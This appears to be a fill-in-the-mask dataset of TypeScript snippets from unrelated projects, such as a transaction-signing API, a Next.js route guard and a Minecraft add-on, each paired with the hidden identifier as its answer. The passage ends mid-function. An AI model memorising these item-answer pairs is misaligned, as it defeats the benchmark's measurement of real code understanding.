  const { tx } = await json(req)
  const txAllowed = pick(tx, ['to', 'value', 'data'])
  txAllowed.from = me.address

  const  [MASK]  = await Transaction.addDefaults(ethNode, txAllowed)
  const rawTxData = Transaction.sign( [MASK] , me)
  const hash = await ethNode('eth_sendRawTransaction', [rawTxData])
  if (hash.error) {
    throw new Error(`Error from ethNode: ${hash.error}`)
  }

  send(res, 200, {
    hash,
  })
}

const root = visualize(withApiAuth()(router(
  post('/recover', recover),
  post('/sign', sign),
  post('/signhash', signHash),
  post('/sign-and-send-tx', signAndSendTx),
)))

export default root
",txWithDefaults
722,"import { isEmail, isBrazillianPhone } from ""@techmmunity/easy-check"";

import { CreateParams } from ""."";

import { errorUtil } from ""v1/utils/error"";
import { yup } from ""v1/utils/yup"";

import { ContactTypeEnum, ContactTypeValues } from ""core/enums/contact-type"";

const schema = yup.object().shape({
	userId: yup.string().required().strict().uuid(),
	contacts: yup
		.array()
		.required()
		.strict()
		.min(1)
		.of(
			yup.object().shape({
				type: yup.string().required().strict().oneOf(ContactTypeValues()),
				value: yup.string().required().strict().emailOrPhone(),
			}),
		),
});

const validateIfTypesAndValuesMatch = (contacts: CreateParams[""contacts""]) => {
	contacts.forEach((contact, index) => {
		switch (contact.type) {
			case ContactTypeEnum.PHONE_NUMBER:
				if (!isBrazillianPhone(contact.value)) {
					return errorUtil.badRequest([
						`contacts[${index}].value must be a valid phone number`,
					]);
				}
				break;
			case ContactTypeEnum.EMAIL:
			default:
				if (!isEmail(contact.value)) {
					return errorUtil.badRequest([
						`contacts[${index}].value must be a valid email`,
					]);
				}
				break;
		}
	});
};

export const validate = async (params: CreateParams) => {
	const  [MASK]  = await schema
		.validate(params)
		.catch(err => errorUtil.badRequest(err.errors));

	validateIfTypesAndValuesMatch(params.contacts);

	return  [MASK] ;
};
",formattedParams
723,"import '@tensorflow/tfjs-backend-cpu';
import * as cocoSsd from '@tensorflow-models/coco-ssd';
import {DetectedObject, ObjectDetection} from '@tensorflow-models/coco-ssd';
import {store} from '../index';
import {updateObjectDetectorStatus} from '../store/ai/actionCreators';
import {LabelType} from '../data/enums/LabelType';
import {LabelsSelector} from '../store/selectors/LabelsSelector';
import {AIObjectDetectionActions} from '../logic/actions/AIObjectDetectionActions';
import {updateActiveLabelType} from '../store/labels/actionCreators';

export class ObjectDetector {
    private static model: ObjectDetection;

    public static loadModel(callback?: () => any) {
        cocoSsd
            .load()
            .then((model: ObjectDetection) => {
                ObjectDetector.model = model;
                store.dispatch(updateObjectDetectorStatus(true));
                store.dispatch(updateActiveLabelType(LabelType.RECT));
                const activeLabelType: LabelType = LabelsSelector.getActiveLabelType();
                if (activeLabelType === LabelType.RECT) {
                    AIObjectDetectionActions.detectRectsForActiveImage();
                }
                if (callback) {
                    callback();
                }
            })
            .catch((error) => {
                // TODO
                throw new Error(error as string);
            })
    }

    public static predict( [MASK] : HTMLImageElement, callback?: (predictions: DetectedObject[]) => any) {
        if (!ObjectDetector.model) return;

        ObjectDetector.model
            .detect( [MASK] )
            .then((predictions: DetectedObject[]) => {
                if (callback) {
                    callback(predictions)
                }
            })
            .catch((error) => {
                // TODO
                throw new Error(error as string);
            })
    }
}
",image
724,"import { parseString } from 'xml2js'
import fetch from 'node-fetch'

export async function handleRequest(request: Request): Promise<Response> {
  const  [MASK]  = 'https://blog.zakiego.my.id/feed.xml'
  const dataXML = await fetch( [MASK] ).then((resp) => resp.text())
  let dataJSON: any

  parseString(dataXML, function (err, result) {
    dataJSON = result
  })

  if (dataJSON == undefined) {
    return new Response(JSON.stringify({ ok: false }))
  }

  const data = dataJSON.rss.channel[0].item.map((obj: any) => {
    const title = obj.title[0]
    const slug = obj.link[0]
    const summary = obj.description ? obj.description[0] : ''
    const pubDate = new Date(obj.pubDate[0]).toLocaleDateString('id-ID', {
      weekday: 'long',
      year: 'numeric',
      month: 'long',
      day: 'numeric',
    })
    const fullText = `${title} ${summary} ${pubDate}`

    return {
      title,
      slug,
      summary,
      pubDate,
      fullText,
    }
  })

  return new Response(JSON.stringify({ data }))
}
",source
725,"import {MRBox, RBox, constBoxWrap} from ""@nartallax/cardboard""
import {CssVariableBoxLink, CssVariableBoxOptions} from ""src/box_dom_binding/css_variable_box""
import {DomValueLink} from ""src/box_dom_binding/dom_value_link""
import {LocalStorageBoxOptions, LocalStorageDomLink} from ""src/box_dom_binding/local_storage_box""
import {UrlBoxDomLink, UrlOptions} from ""src/box_dom_binding/url_box""
import {getBinder} from ""src/node_binding""

export type DomBoxOptionsBase = {
	/** This flag is used when resolving conflicts between DOM value and box value
	 * like, ""we have new box value and new DOM value, what should happen?""
	 * If the flag is false (default) - that means box value will be overwritten by DOM value
	 * If the flag is true - DOM value will be overwritten
	 * ...or you can just pass an RBox, which cannot be overwritten and will always have preference */
	readonly preferBoxValue?: boolean
}

export type DomBoxBindingOptions<T> = (LocalStorageBoxOptions<T> | CssVariableBoxOptions | (string extends T ? UrlOptions : never))

export function bindBoxToDomValue<T>(node: Node, box: MRBox<T>, options: DomBoxBindingOptions<T>): void {
	const wrappedBox = constBoxWrap(box)
	const  [MASK]  = getBinder(node)
	let link: DomValueLink<T>
	switch(options.type){
		case ""localStorage"": link = new LocalStorageDomLink(wrappedBox, options); break
		case ""cssVariable"": link = new CssVariableBoxLink(node, wrappedBox, options); break
		case ""url"": link = new UrlBoxDomLink(wrappedBox as RBox<string>, options) as unknown as DomValueLink<T>; break
	}
	 [MASK] .addDomValueLink(link)
}

export function unbindBoxToDom<T>(node: Node, options: DomBoxBindingOptions<T>): void {
	getBinder(node).removeDomValueLink(options)
}",binder
726,"import { Page, Observable, PropertyChangeData, EventData } from '@nativescript/core/ui/page';
import { Slider } from '@nativescript/core/ui/slider';

class Model extends Observable {

    // set blurRadius(value) {
    //     console.log('set blurRadius', value);
    //     this.set('_blurRadius', value);
    // }
    constructor() {
        super();
        this.set('blurRadius', 10);
    }
}

export function pageLoaded(args) {
    const page = args.object;
    page.bindingContext = new Model();
}

// handle value change
export function onSliderLoaded(args) {
    const  [MASK] : Slider = <Slider>args.object;
     [MASK] .on('valueChange', sargs => {
        const page = (<Slider>sargs.object).page;
        const vm = page.bindingContext as Model;
        vm.set('blurRadius', Math.round((<Slider>sargs.object).value));
    });
}
",sliderComponent
727,"import { NextRequest, NextResponse } from ""next/server"";
import { verifyJwt } from ""app/auth/handleJWT"";
import { cookies } from ""next/headers"";
import addPost from ""./POST/addPost"";
import deletePosts from ""./DELETE/deletePosts"";
import rewritePost from ""./PUT/rewritePost"";

export async function POST(req: NextRequest) {
  authentication(req);
  return addPost(req);
}

export async function DELETE(req: NextRequest) {
  authentication(req);
  return deletePosts(req);
}

export async function PUT(req: NextRequest) {
  authentication(req);
  return rewritePost(req);
}

async function authentication(req: NextRequest) {
  const  [MASK]  = cookies();
  const token = (await  [MASK] ).get(""next-auth.session-token"");

  if (!token || verifyJwt(token.value)) {
    return NextResponse.json(
      { message: `Authentication failed` },
      { status: 401, headers: { ""Content-Type"": ""application/json"" } },
    );
  }
}
",cookieStore
728,"/* CoffeesController FINAL CODE */
import { CreateCoffeeDto } from './dto/create-coffee.dto'
import { UpdateCoffeeDto } from './dto/update-coffee.dto';
import {
  Body,
  Controller,
  Delete,
  Get,
  Param,
  Patch,
  Post,
  Query,
} from '@nestjs/common';
import { CoffeesService } from './coffees.service';
import { PaginationQueryDto } from 'src/common/dto/pagination-query.dto';

@Controller('coffees')
export class CoffeesController {
  constructor(private readonly coffeesService: CoffeesService) { }

  @Get()
  findAll(@Query() paginationQuery: PaginationQueryDto) {
    // const { limit, offset } = paginationQuery;
    return this.coffeesService.findAll(paginationQuery);
  }

  @Get(':id')
  findOne(@Param('id') id: string) {
    return this.coffeesService.findOne(id);
  }

  @Post()
  create(@Body()  [MASK] : CreateCoffeeDto) {
    return this.coffeesService.create( [MASK] );
  }

  @Patch(':id')
  update(@Param('id') id: string, @Body() body: UpdateCoffeeDto) {
    return this.coffeesService.update(id, body);
  }

  @Delete(':id')
  remove(@Param('id') id: string) {
    return this.coffeesService.remove(id);
  }
}",createCoffeeDto
729,"import kleur from 'kleur';
import readlineSync from 'readline-sync';

export function cout(...text: string[]): void {
	console.log(...text)
}

export function dcout(delay: number, text: string): void {
	for (let i = 0; i < text.length; i++)
		setTimeout(() => process.stdout.write(text[i]), delay * i)

	process.stdout.write('\n');
}

export function pcout( [MASK] : string, text: string): void {
	 [MASK]  =  [MASK] .toLowerCase();
	if (
		process.env.NODE_ENV !== ""development"" &&
		 [MASK]  === ""debug"" ||  [MASK]  === ""errord""
		) return;

	switch ( [MASK] .toLowerCase()) {
		case ""info"":
			 [MASK]  = kleur.bgBlue().white(`[${ [MASK] }]`)
			break;
		case ""debug"":
			 [MASK]  = kleur.bgCyan().white(`[${ [MASK] }]`)
			break;
		case ""warn"":
			 [MASK]  = kleur.bgYellow().white(`[${ [MASK] }]`)
			break;
		case ""error"":
			 [MASK]  = kleur.bgRed().white(`[${ [MASK] }]`)
			break;
		default:
			 [MASK]  = kleur.bgWhite().black(`[${ [MASK] }]`)
			break;
	}
	const str = kleur.bold(`${ [MASK] } ${kleur.white().italic(text)}`)
	cout(str)
}

export function clear_lines(num: number = 1): void {
	for (let i = 0; i < num; i++) 
        process.stdout.write('\u001b[1A\u001b[2K');
}

export function clear(): void {
	process.stdout.write('\u001B[2J\u001B[0;0f');
}

export function cin(message: string = ''): string {
	if (!message)
		readlineSync.keyInPause(message);
	
	return readlineSync.question(message);
}",prefix
730,"import { useCallback, useEffect, useRef } from ""react"";
import { CACHE_POLICY } from ""../../data/cachePolicyEnum"";
import { useMergeState } from ""../useMergeState"";
import api from ""../../utils/api"";

interface QueryOption {
  lazy?: boolean;
  cachePolicy?: CACHE_POLICY;
}

export const useQuery = (
  url: string,
  queryParams: Object,
  options: QueryOption = {}
) => {
  const { lazy = false, cachePolicy = CACHE_POLICY.CACHE_FIRST } = options;

  const wasCalled = useRef(false);
  const isSleeping = lazy && !wasCalled.current;

  const isCacheAvailable = Boolean(cache[url]);
  const canUseCache = isCacheAvailable && cachePolicy !== CACHE_POLICY.NO_CACHE;

  const [state, mergeState] = useMergeState({
    data: canUseCache ? cache[url] : null,
    isLoading: false,
    error: null,
    queryParams: {},
  });

  const makeRequest = useCallback(
    async (newParams?: any) => {
      const params = { ...state.queryParams, ...newParams };
      const apiParams = { ...queryParams, ...params };

      mergeState({ isLoading: true, queryParams: apiParams });
      try {
        const data = await api.get(url, apiParams);
        mergeState({ isLoading: false, error: null, data });
      } catch (error) {
        mergeState({ isLoading: false, error, data: null });
      }

      wasCalled.current = true;
    },
    // eslint-disable-next-line react-hooks/exhaustive-deps
    [queryParams]
  );

  useEffect(() => {
    if (isSleeping) return;
    if (canUseCache && cachePolicy === CACHE_POLICY.CACHE_ONLY) return;

    makeRequest();
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, []);

  const setLocalData = useCallback(
    (getUpdatedData: Function) =>
      mergeState(({ data }: any) => {
        const  [MASK]  = getUpdatedData(data);
        cache[url] = { ...(cache[url] || {}), data:  [MASK]  };
        return { data:  [MASK]  };
      }),
    [mergeState, url]
  );

  return [{ ...state, setLocalData }, makeRequest];
};

const cache: { [key: string]: any } = {};
",newData
731,"import {
  Adapter,
  Config,
  Contact,
  PhoneNumber,
  PhoneNumberLabel,
  start
} from ""@clinq/bridge"";
import { Request } from ""express"";
import { parseEnvironment } from ""./parse-environment"";
import { stringify } from ""querystring"";
import axios from ""axios"";
import { OAuth2Response } from ""./oauth2-response.model"";

const TEAMLEADER_API_URL_BASE = ""https://app.teamleader.eu"";
const TEAMLEADER_API_URL_AUTHORIZE = ""/oauth2/authorize"";
const TEAMLEADER_API_URL_ACCESS_TOKEN = ""/oauth2/access_token"";
const TEAMLEADER_API_URL_ACCESS_CONTACTS = ""/contacts.list"";

const { clientId, clientSecret, redirectUrl } = parseEnvironment();

class MyAdapter implements Adapter {
  /**
   * TODO: Fetch contacts from the contacts provider using config.apiKey and config.apiUrl or throw on error
   */
  public async getContacts(config: Config): Promise<Contact[]> {
    const tokenUrl = `${TEAMLEADER_API_URL_BASE}${TEAMLEADER_API_URL_ACCESS_TOKEN}`;
    const  [MASK]  = `${TEAMLEADER_API_URL_BASE}${TEAMLEADER_API_URL_ACCESS_CONTACTS}`;

    const response = await axios.post<OAuth2Response>(tokenUrl, {
      client_id: clientId,
      client_secret: clientSecret,
      refresh_token: config.apiKey,
      grant_type: ""refresh_token""
    });
    console.log(response.data.access_token);
    const contactsResponse = await axios.get( [MASK] , {
      headers: {
        Authorization: `Bearer ${response.data.access_token}`
      }
    });

    console.log(contactsResponse.data);
    return [];
  }

  public async getOAuth2RedirectUrl(): Promise<string> {
    const query = stringify({
      client_id: clientId,
      response_type: ""code"",
      redirect_uri: redirectUrl
    });
    return `${TEAMLEADER_API_URL_BASE}${TEAMLEADER_API_URL_AUTHORIZE}?${query}`;
  }

  public async handleOAuth2Callback(req: Request): Promise<Config> {
    const { code } = req.query;
    const tokenUrl = `${TEAMLEADER_API_URL_BASE}${TEAMLEADER_API_URL_ACCESS_TOKEN}`;

    const data = {
      client_id: clientId,
      client_secret: clientSecret,
      code: code,
      grant_type: ""authorization_code"",
      redirect_uri: redirectUrl
    };

    const response = await axios.post<OAuth2Response>(tokenUrl, data);

    return { apiKey: response.data.refresh_token, apiUrl: """" };
  }
}

start(new MyAdapter());
",contactsUrl
732,"import data from 'data/feedData.json'
import { catchError } from 'utils/catchError'
import contractCall from 'hooks/contractCall'

// mock contract exec.
const execute = async function ({ contract, tokenId }: { contract: any, tokenId: string }) {
    // await contract.safeTransferFrom(...args).send({...})
    return {
        tokenId,
        txId: 'e99857494e539ffd7d901974c73e0cb66a1ac06e8608da6df130c34e43ebe300'
    }
}


catchError(contractCall<{ contract: any }, { tokenId: string }, {
    txId: string,
    tokenId: string,
    fee: number,
    result: string
}>({
    callerName: 'defineNft',
    logUniqKey: 'txId',
    exportFileName: 'defineNft.xlsx',
    logTableFields: {
        txId: String,
        tokenId: String,
        fee: Number,
        result: String
    },
    prepare: async ({ tronWeb, logHelper }) => {
        const abi = '' // please import abi json file .
        const addr = '' // please add contract address.
        // const contract = tronWeb.contract(abi, addr)
        return {
            payload: { contract:'' },
            feedData: data
        }
    },
    executor: async ({ payload, feedItem, logHelper }) => {
        const { contract } = payload
        const { tokenId } = feedItem
        const  [MASK]  = await logHelper.queryData({ tokenId })
        if ( [MASK] .length > 0) {
            return
        }
        const { txId } = await execute({ contract, tokenId })
        return {
            txId,
            tokenId,
            fee: 0,
            result: ''
        }
    }
}))",existTokenIds
733,"import stringify from ""csv-stringify"";
import fs from ""fs"";
import path from ""path"";
import log from ""electron-log"";
import moment from ""moment"";
import { saveDataURIToFile, DataURIFile } from ""./mediaExporter"";
import faker from ""faker"";

/*
{
  clips: [{
    expression: ""expression"",
    meaning: ""meaning"",
    metadata: ""metadata"",
    image:  {
        ""uid"": ""rc-upload-1579798060648-2"",
        ""lastModified"": 1574373878491,
        ""lastModifiedDate"": ""2019-11-21T22:04:38.491Z"",
        ""name"": ""EJzdiZ_UEAAHlQY (1).jpg"",
        ""size"": 123667,
        ""type"": ""image/jpeg"",
        ""percent"": 0,
        ""originFileObj"": {
          ""uid"": ""rc-upload-1579798060648-2""
        },
        ""url"": ""data:image/jpeg;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/4gxYSUNDX1BST0ZJTEUAAQEA""
      }
    }],
    audio: ""dataURL""
  }
}
*/

export interface ClipToExport {
  image: string;
  expression: string;
  meaning: string;
  metadata: string;
  audio: string;
}

export interface ClipReceived {
  expression: string;
  meaning: string;
  metadata: string;
  audio: string | false;
  image: DataURIFile | false;
}

function createClipToExport(
  expression: string,
  meaning: string,
  metadata: string,
  imageFilename?: string,
  soundFilename?: string
) {
  let clip: ClipToExport = {
    expression: expression,
    meaning: meaning,
    metadata: metadata,
    audio: soundFilename ? `[${soundFilename}]` : """",
    image: imageFilename ? `<img src='${imageFilename}'>` : """"
  };

  return clip;
}

async function saveMediaAndReturnClips(
  folderPath: string,
  clips: Array<ClipReceived>
) {
  let newClips = [];
  for (let i = 0; i < clips.length; i++) {
    let imageFilename: string | undefined;
    let soundFilename: string | undefined;

    let clip: ClipReceived = clips[i];

    if (clip.image) {
      clip.image.name = `${moment().unix()}_${faker.random.number()}.jpeg`;
      imageFilename = await saveDataURIToFile(folderPath, clip.image);
    }

    if (clip.audio) {
      let soundFile: DataURIFile = { url: clip.audio, name: `${moment().unix()}_${faker.random.number()}.opus` };
      soundFilename = await saveDataURIToFile(folderPath, soundFile);
    }

    let clipToExport = createClipToExport(
      clip.expression,
      clip.meaning,
      clip.metadata,
      imageFilename,
      soundFilename
    );

    newClips.push(clipToExport);
  }

  return newClips;
}

export async function saveToFile(
  folderPath: string,
  data: Array<ClipReceived>
) {
  let  [MASK]  = path.resolve(folderPath, ""media.collection"");
  await fs.promises.mkdir( [MASK] , {
    recursive: true
  });
  let ankiDeckData = await saveMediaAndReturnClips( [MASK] , data);

  return new Promise((resolve, reject) => {
    let savePath = path.resolve(folderPath);
    const outStream = fs.createWriteStream(path.resolve(savePath, ""deck.tsv""), {
      flags: ""w""
    });
    let dataStream = stringify(ankiDeckData, {
      delimiter: ""\t"",
      columns: [""expression"", ""meaning"", ""metadata"", ""image"", ""audio""],
      header: false,
      cast: {
        string: function(value) {
          return value.toString().replace(/""/g, ""'"");
        }
      }
    });

    outStream.on(""error"", function(err) {
      log.error(err);
      reject(err);
    });

    outStream.on(""finish"", function() {
      log.info(""Saved to"" + savePath);
      resolve(savePath);
    });

    dataStream.on(""error"", function(err) {
      log.error(err);
      reject(err);
    });

    dataStream.pipe(outStream);
  });
}
",mediaCollectionPath
734,"import { Injectable, CanActivate, ExecutionContext } from '@nestjs/common';
import { Reflector } from '@nestjs/core';
import { Role } from '../role.enum';
import { ROLES_KEY } from '../decorator';
import { PrismaService } from 'src/prisma/prisma.service';

@Injectable()
export class RolesGuard implements CanActivate {
  constructor(private reflector: Reflector, private prisma: PrismaService) {}

  async canActivate(context: ExecutionContext) {
    // Get the roles from the handler
    const roles = this.reflector.get<Role[]>(ROLES_KEY, context.getHandler());
    if (!roles) return true;

    // Check the user role
    const request = context.switchToHttp().getRequest();
    const firebaseUser = request.user;
    const  [MASK]  = roles.some((role) => firebaseUser.role[role]);

    if ( [MASK] ) {
      const user = await this.prisma.user.findFirst({
        where: { firebase_uid: firebaseUser.uid },
      });
      context.switchToHttp().getRequest().user = user;
    }
    return  [MASK] ;
  }
}
",matchRole
735,"import { DAO_AddMusic } from ""../../../database/dao/music"";
import { EmbedColors, I_Command, I_MusicList, MusicGenres, MusicStyles } from ""../../../utilities/interface"";
import { commandBuilder, embedBuilder } from ""../../misc/builders"";

const bo_AddMusic: I_Command = {
	data: commandBuilder(
		""boaddmusic"",
		""Add music to the bot."",
		{
			dm: true
		},
	)
		.addStringOption((url) => url
			.setName(""ytmusic"")
			.setRequired(true)
			.setDescription(""URL youtubemusic""))
		.addStringOption((name) => name
			.setName(""name"")
			.setDescription(""Song name"")
			.setRequired(true))
		.addStringOption((artist) => artist
			.setName(""artist"")
			.setDescription(""Artist name"")
			.setRequired(true))
		.addStringOption((album) => album
			.setName(""album"")
			.setDescription(""Album name"")
			.setRequired(false))
		.addStringOption((year) => year
			.setName(""year"")
			.setDescription(""Song year"")
			.setRequired(false))
		.addStringOption((genres) => genres
			.setName(""genres"")
			.setDescription(""Comma separated genres"")
			.setRequired(false))
		.addStringOption((styles) => styles
			.setName(""styles"")
			.setDescription(""Comma separated styles"")
			.setRequired(false))
		.addStringOption((spotify) => spotify
			.setName(""spotify"")
			.setDescription(""Spotify URL"")
			.setRequired(false)),
	options: {
		botOwner: true
	},
	async execute(interaction) {
		// Create a new embed
		const embed = embedBuilder(""Add Music"");

		// Get the options that we know for sure are going to be there.
		const ytmusic = interaction.options.getString(""ytmusic"", true);
		const name = interaction.options.getString(""name"", true);
		const artist = interaction.options.getString(""artist"", true);

		// Get the options that we don't know for sure are going to be there.
		let album = interaction.options.getString(""album"");
		let year = interaction.options.getString(""year"");
		let genres = interaction.options.getString(""genres"");
		let styles = interaction.options.getString(""styles"");
		let spotify = interaction.options.getString(""spotify"");

		// Validate that the styles and genres are valid.
		// If genre is not valid, skip that genre
		let validGenres:string[] = [];
		let nonValidGenres:string[] = [];
		if(genres){
			// Split genres by comma.
			const genreNames = genres.split("","");
			// Loop through the genres.
			for (const genreName of genreNames) {
				// But we also have to loop through the enum....
				Object.values(MusicGenres).forEach((genre) => {
					// Check if the genre does not match.
					if (genre != genreName) {
						nonValidGenres.push(genre);
						return;
					}
					// If it does match, add to validated genres.
					else {
						validGenres.push(genre);
					}
				})
			}
		}

		let validStyles:string[] = [];
		let nonValidStyles:string[] = [];
		if(styles){
			// Split genres by comma.
			const styleNames = styles.split("","");
			// Loop through the genres.
			for (const styleName of styleNames) {
				// But we also have to loop through the enum....
				Object.values(MusicStyles).forEach((style) => {
					// Check if the genre does not match.
					if (style != styleName) {
						nonValidStyles.push(style);
						return;
					}
					// If it does match, add to validated genres.
					else {
						validStyles.push(style);
					}
				})
			}
		}

		// Create a new song object and apply our options.
		const  [MASK] : I_MusicList = {
			name: name,
			artist: artist,
			ytmusic: ytmusic,
			album: album ? album : undefined,
			year: year ? parseInt(year) : undefined,
			genre: validGenres ? validGenres : undefined,
			styles: validStyles ? validStyles : undefined,
			spotify: spotify ? spotify : undefined,
		};

		// Validate the song.
		const feedback = validateSongs( [MASK] );

		// Add the song to the database.
		let reply = """";
		const songs: I_MusicList[] = [];
		songs.push( [MASK] );
		try {
			await DAO_AddMusic(songs);
			reply = ""Song added!"";
			if (feedback) {
				reply += `\n${feedback}`;
			}
			if(nonValidGenres.length > 0){
				reply += `\nInvalid genres you tried to input: ${nonValidGenres.join("", "")}`;
			}
			if(nonValidStyles.length > 0){
				reply += `\nInvalid styles you tried to input: ${nonValidStyles.join("", "")}`;
			}
			embed.setDescription(reply).setColor(EmbedColors.success);
			interaction.reply({ embeds: [embed], ephemeral: true });
			return;
		} catch (error: any) {
			reply = ""Error adding song."";
			if (feedback) {
				reply += `\n${feedback}\n${error.message}`;
			}
			embed.setDescription(reply).setColor(EmbedColors.error);
			interaction.reply({ embeds: [embed], ephemeral: true });
			return;
		}
	},
};

// Helper to validate songs
function validateSongs(song: I_MusicList): string {
	let feedback = """";
	if (!song.spotify) {
		const text = `\nSpotify link is missing for song: ""${song.name}""`;
		feedback += text;
		console.log(text);
	}

	if (!song.year) {
		const text = `\nYear is missing for song: ""${song.name}""`;
		feedback += text;
		console.log(text);
	}

	if (!song.album || !song.album) {
		const text = `\nAlbum is missing for song: ""${song.name}""`;
		feedback += text;
		console.log(text);
	}

	if (!song.genre || song.genre.length > 0) {
		const text = `\nGenres are missing for song: ""${song.name}""`;
		feedback += text;
		console.log(text);
	}

	if (!song.styles || song.styles.length > 0) {
		const text = `\nStyles are missing for song: ""${song.name}""`;
		feedback += text;
		console.log(text);
	}

	return feedback;
}

module.exports = [
	bo_AddMusic
];",newSong
736,"import {
  CharacteristicGetCallback,
  CharacteristicValue,
  HAP,
  HAPStatus,
  Logging,
  Nullable,
  Service,
} from ""homebridge"";
import { VehicleDataResponse } from ""tesla-fleet-api/dist/types/vehicle_data.js"";
import { VehicleAccessory } from ""../vehicle.js"";

export abstract class VehicleService {
  service: Service;

  constructor(
    public readonly parent: VehicleAccessory,
    public readonly  [MASK] : ServiceType
  ) {
    this.service =
      this.parent.accessory.getService( [MASK] ) ||
      this.parent.accessory.addService( [MASK] );

    this.setupCharacteristics();
  }

  /*protected createGetter<T extends CharacteristicValue>(
    getter: Getter<T>
  ): GetterCallback {
    return (callback) => {
      this.context.tesla
        .getVehicleData()
        .then((data) => getter.call(this, data))
        .then((value) => callback(null, value))
        .catch((error: Error) => callback(error));
    };
  }

  protected createSetter<T extends CharacteristicValue>(
    setter: Setter<T>
  ): SetterCallback {
    return (value, callback) => {
      setter
        .call(this, value as T)
        .then((writeResponse) => callback(null, writeResponse ?? undefined))
        .catch((error: Error) => callback(error));
    };
  }*/

  abstract setupCharacteristics(): void;
}
",serviceType
737,"import { fetchOrThrow } from './fetch';
import { Config } from '../models/Config';
import { Plugin } from '../models/Plugin';
import { ServiceTemplate } from '../models/ServiceTemplate';
import { TransformResponse } from '../models/TransformResponse';

const baseUrl = window.location.protocol + '//' + window.location.hostname + ':9000';

const getConfig = async (): Promise<Config> => {
  const response = await fetchOrThrow(`${baseUrl}/config`, { method: 'GET' });
  return (await response.json()) as Config;
};

const getPlugins = async (): Promise<Plugin[]> => {
  const response = await fetchOrThrow(`${baseUrl}/plugins`, { method: 'GET' });
  return (await response.json()) as Plugin[];
};

const getServiceTemplates = async (): Promise<ServiceTemplate[]> => {
  const response = await fetchOrThrow(`${baseUrl}/service-templates`, { method: 'GET' });
  return (await response.json()) as ServiceTemplate[];
};

const transformServiceTemplate = async ( [MASK] : string, st: ServiceTemplate): Promise<TransformResponse> => {
  const response = await fetchOrThrow(
    `${baseUrl}/service-templates/${st.id}/transform/${ [MASK] }`,
    { method: 'POST' }
  );
  return (await response.json()) as TransformResponse;
};

export const backendService = {
  getConfig,
  getPlugins,
  getServiceTemplates,
  transformServiceTemplate,
};
",target
738,"/**
 * WEB-Service Boilerplate
 * Created on 2020.09.03 by @toyota-m2k
 * Copyright (c) 2020 @toyota-m2k. All rights reserved.
 */
import ZException from ""./error""

export default class Converter {
    public static bool(v: any, def:boolean=false): boolean {
        switch (typeof v) {
            case ""string"": {
                switch (v.toLowerCase()) {
                    case ""1"":
                    case ""true"":
                        return true;
                    case ""false"":
                    case ""0"":
                        return false;
                    default:
                        return def;
                }
            }
            case ""number"":
                return v !== 0;
            case ""boolean"":
                return v;
            default:
                return def;
        }
    }

    public static int(v: any): number {
        switch (typeof v) {
            case ""string"":
                return parseInt(v, 10);
            case ""number"":
                return v;
            case ""boolean"":
                return v ? 1 : 0;
            default:
                return 0;
        }
    }

    public static nullable_text(v: any): string|null {
        switch (typeof v) {
            case ""string"":
                return v;
            case ""number"":
                return v.toString();
            default:
                return null;
        }
    }
    public static safe_text(v: any): string {
        switch (typeof v) {
            case ""string"":
                return v;
            case ""number"":
                return v.toString();
            default:
                return """";
        }
    }
    public static notnull_text(v: any): string {
        switch (typeof v) {
            case ""string"":
                return v;
            case ""number"":
                return v.toString();
            default:
                throw ZException.InvalidParamsException(""null value"");
        }
    }

    public static bit_flag(v: any, flag: number): boolean {
        let i = this.int(v);
        return flag == (i & flag);
    }

    public static intArray(v: any): number[] {
        if (Array.isArray(v)) {
            return v.map((x) => {
                return this.int(x);
            });
        } else {
            return [this.int(v)];
        }
    }
    public static textArray(v: any): string[] {
        if (Array.isArray(v)) {
            return v.map((x) => {
                return this.notnull_text(x);
            });
        } else {
            return [this.notnull_text(v)];
        }
    }

    public static arrayToString<T>( [MASK] : T | T[]) {
        if (Array.isArray( [MASK] )) {
            return  [MASK] .reduce<string>((acc, c, i) => {
                if (i == 0) {
                    return acc + `${c}`
                } else {
                    return acc + `, ${c}`;
                }
            }, ""["") + ""]"";
        } else {
            return `${ [MASK] }`;
        }
    }
}",ary
739,"import {
  BlockPermutation,
  EntityHitBlockAfterEvent,
  EntityInventoryComponent,
  ItemStack,
  ItemUseAfterEvent,
  Player,
} from ""@minecraft/server"";
import ""./player_extensions"";
import ""./entity_extensions"";
import { AdminPickConfigModalForm } from ""./admin_pick_config_modal_form"";
import { IAreaCalculator } from ""./area_calculator"";
import { Behavior } from ""./behavior"";

export class AdminPickBehavior extends Behavior {
  private areaCalculator: IAreaCalculator;

  constructor(areaCalculator: IAreaCalculator) {
    super();

    this.areaCalculator = areaCalculator;
  }

  public onHitBlock(event: EntityHitBlockAfterEvent): void {
    if (event.damagingEntity.typeId != ""minecraft:player"") {
      return;
    }
    let player = event.damagingEntity as Player;
    let heldItem = player.getHeldItem();
    let block = event.hitBlock;

    if (heldItem == null || heldItem.typeId != ""mojj:adminite_pickaxe"") {
      return;
    }

    let data = this.getAdminPickData(heldItem);
    let area = this.areaCalculator.calculateAreaForBlock(
      block,
      event.blockFace,
      data.width,
      data.height,
      data.length,
      player.getCardinalDirection()
    );
    let  [MASK]  = BlockPermutation.resolve(""air"");

    let lo = area.getLowerNwCoordinates();
    let up = area.getUpperSeCoordinates();

    console.warn(
      `removing area( lo: ${lo.x}, ${lo.y}, ${lo.z}, up: ${up.x}, ${up.y}, ${up.z} ) for player ${player.name}`
    );

    block.dimension.fillBlocks(area.getLowerNwCoordinates(), area.getUpperSeCoordinates(),  [MASK] );
  }

  public onUsed(event: ItemUseAfterEvent): void {
    if (event.itemStack.typeId != ""mojj:adminite_pickaxe"") {
      return;
    }

    var player = event.source as Player;
    var heldItem = player.getHeldItem();

    if (heldItem === null) {
      return;
    }

    var data = this.getAdminPickData(heldItem);

    let form = new AdminPickConfigModalForm(data.width, data.height, data.length);

    form.show(player).then(this.handleFormResponse.bind(this, player, heldItem));
  }

  getAfterEventMap(): Map<string, Function> {
    const eventMap = new Map<string, Function>();
    eventMap.set(""itemUse"", this.onUsed);
    eventMap.set(""entityHitBlock"", this.onHitBlock);

    return eventMap;
  }

  getBeforeEventMap(): Map<string, Function> {
    const eventMap = new Map<string, Function>();

    return eventMap;
  }

  private handleFormResponse(player: Player, heldItem: ItemStack, formData: any) {
    if (formData.formValues) {
      var data = {
        width: formData.formValues[0],
        height: formData.formValues[1],
        length: formData.formValues[2],
      };

      this.setAdminPickData(heldItem, data);

      const inventory = player.getComponent(""inventory"") as EntityInventoryComponent;

      inventory.container?.setItem(player.selectedSlot, heldItem);
    }
  }

  private getAdminPickData(itemStack: ItemStack): any {
    var lore = itemStack.getLore();

